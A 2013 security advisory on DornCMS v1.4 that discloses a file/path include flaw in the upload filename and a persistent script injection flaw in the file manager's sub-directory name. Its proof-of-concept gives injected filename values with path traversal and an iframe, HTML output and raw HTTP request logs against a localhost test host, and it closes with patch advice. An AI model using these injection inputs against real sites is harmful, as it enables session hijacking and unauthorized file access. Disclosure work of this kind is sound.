Document Title:
===============
DornCMS Application v1.4 - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1113
Release Date:
=============
2013-10-14
Vulnerability Laboratory ID (VL-ID):
====================================
1113
Common Vulnerability Scoring System:
====================================
6.6
Product & Service Introduction:
===============================
This is a simple, easy to use, PHP Content Management System that is geared toward personal or
informational websites with minimal interactivity.
(Copy of the Homepage: http://sourceforge.net/projects/dorncms/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the DornCMS v1.4 web-application.
Vulnerability Disclosure Timeline:
==================================
2013-10-14: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
SourceForge
Product: DornCMS - Web Application 1.4
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
A file include and a post inject vulnerability are detected in the Dorn Content Management System v1.4 web-application.
The file include web vulnerability allows remote attackers to inject files with malicious context via POST method.
The vulnerability is located in the `Upload` module in the Browse File section. Remote attackers are able to manipulate
in the upload POST method request the filename value. The code or commands as filename executes in the index module file
dir listing. In the exploitation phase the vulnerability allows an attacker to combine the script code inject with the
file/path request for unauthorized access.
Exploitation of the local file include web vulnerability requires no user interaction or privileged application user
account with password. Successful exploitation of the vulnerability results in unauthorized local file and path requests
to compromise the device or application.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload > Browse File
Vulnerable Parameter(s):
[+] filename (name)
Affected Module(s):
[+] File Manager - File Dir Listing
1.2
A persistent input validation web vulnerability is detected in the Dorn Content Management System v1.4 web-application.
The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of the device.
The vulnerability is located in the file manager module. The file manager module allows the user to include regular files to the
web-server system. Attackers are able to inject own malicious script codes as file name by tampering the upload POST method request.
The execution of the code occurs in the file manager data list in the left bar. After the inject the code will be permanent executed
and its not possible to delete via application function.
Exploitation of the persistent web vulnerability requires low user interaction and a privileged web-application user account.
Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent
web attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Add Sub Directory (FileManager)
Vulnerable Parameter(s):
[+] directory - name
Affected Module(s):
[+] File Manager Folder Listing
Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers with privileged application user account
and without user interaction. For demonstration or reproduce ...
Vulnerable Module: Upload > Browse File
Affected: Current Directory: files/ name as path value
PoC: Upload > Browse File - files/ Name
<div id="fileinfo_holder">
Current Directory: <span id="current_path">files/</span>
<div id="fileinfo"><table class="standard">
<tbody><tr>
<th class="ui-state-active">
</th><th class="ui-state-active">Name</th>
<th class="ui-state-active">Preview</th>
<th class="ui-state-active">Size</th>
<th class="ui-state-active"> </th>
</tr>
<tr><td><input value="files/<iframe src=a>" type="checkbox"></td>
<td><a href="/dorncms/files/<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]>" target="_blank"><iframe src="a"></a></td>
<td style='width: 300px;'><em>no preview</em></td><td>51 kb</td>
<td><a href='/dorncms/cms/delete_file/?name=files%2F%3C<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]'
class='ajax_link delete'>delete</a> | <a href='/dorncms/cms/rename_file/?name=files%2F%3C<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]"<'
class='ajax_link rename'>rename</a></td></tr></table></iframe></a></td></tr></tbody></table></div></div>
--- PoC Session Request Logs ---
Status: 200[OK]
POST http://dorn.localhost:8080/dorncms/cms/doajaxfileupload/?directory=files/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[46] Mime Type[text/html]
Request Headers:
Host[dorn.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]
Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614;
__utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg;
__utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5]
Connection[keep-alive]
Post Data:
POST_DATA[-----------------------------7708139255231
Content-Disposition: form-data; name="fileToUpload"; filename="<<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]>"
Content-Type: image/png
‰PNG
Status: 200[OK]
POST http://dorn.localhost:8080/dorncms/cms/filelist/
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ]
Content Size[318]
Mime Type[text/html]
Request Headers:
Host[dorn.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[*/*]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]
Content-Length[13]
Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614;
__utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg;
__utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
Post Data:
path[files%2F]
Response Headers:
Date[Sun, 13 Oct 2013 19:25:57 GMT]
Server[Apache]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[318]
Keep-Alive[timeout=2, max=99]
Connection[Keep-Alive]
Content-Type[text/html]
Status: 200[OK]
GET http://dorn.localhost:8080/dorncms/cms/upload/file/<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]
Load Flags[LOAD_DOCUMENT_URI ]
Content Size[20]
Mime Type[text/html]
Request Headers:
Host[dorn.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]
Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614;
__utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg;
__utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5]
Connection[keep-alive]
Response Headers:
Date[Sun, 13 Oct 2013 19:25:58 GMT]
Server[Apache]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[20]
Keep-Alive[timeout=2, max=98]
Connection[Keep-Alive]
Content-Type[text/html]
1.2
The persistent web vulnerability can be exploited by remote attakers with privileged application user account and low
user interaction. For demonstration or reproduce ...
PoC: Add Sub Directory (File Manager)
<ul class="jqueryFileTree">
<li class="directory"><a href="#" rel="uploadedimages/" id="uploadedimages">images</a>
</li>
<li class="directory"><a class="selected" href="#" rel="files/" id="files">files</a>
<ul class="jqueryFileTree"><li class="directory"><a href="#"
rel="files></a>>"<[PERSISTENT SCRIPT CODE VULNERABILITY!]"<;)<">>"
<<../../x"<;)<">>)<</a></li></ul></li>
</ul></iframe></a></li></ul></li></ul>
--- PoC Session Request Logs ---
Status: 200[OK]
GET http://dorn.localhost:8080/dorncms/cms/folderlist/
Load Flags[LOAD_BACKGROUND ]
Content Size[186]
Mime Type[text/html]
Request Headers:
Host[dorn.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[*/*]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
X-Requested-With[XMLHttpRequest]
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]
Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614;
__utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg;
__utmb=87180614.5.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5]
Connection[keep-alive]
Response Headers:
Date[Sun, 13 Oct 2013 19:19:41 GMT]
Server[Apache]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[186]
Keep-Alive[timeout=2, max=98]
Connection[Keep-Alive]
Content-Type[text/html]
Status: 200[OK]
GET http://dorn.localhost:8080/dorncms/cms/upload/file/[PERSISTENT SCRIPT CODE VULNERABILITY!]"<
Load Flags[LOAD_DOCUMENT_URI ]
Content Size[20]
Mime Type[text/html]
Request Headers:
Host[dorn.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]
Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614;
__utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg;
__utmb=87180614.5.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5]
Connection[keep-alive]
Response Headers:
Date[Sun, 13 Oct 2013 19:19:41 GMT]
Server[Apache]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[20]
Keep-Alive[timeout=2, max=97]
Connection[Keep-Alive]
Content-Type[text/html]
Solution - Fix & Patch:
=======================
1.1
Restrict the upload function and input by a secure escape and clean parse to ensure no execution occurs.
Filter and parse also the main folder name listing were the output is executed.
1.2
The second vulnerability can be patched by a secure restriction and encode of the add sub directory function in the file manager module.
Parse also the vulnerable output in the file manager listing even if the input is already encoded.
Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as high(+).
1.2
The security risk of the persistent input validation web vulnerability is estimated as medium(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com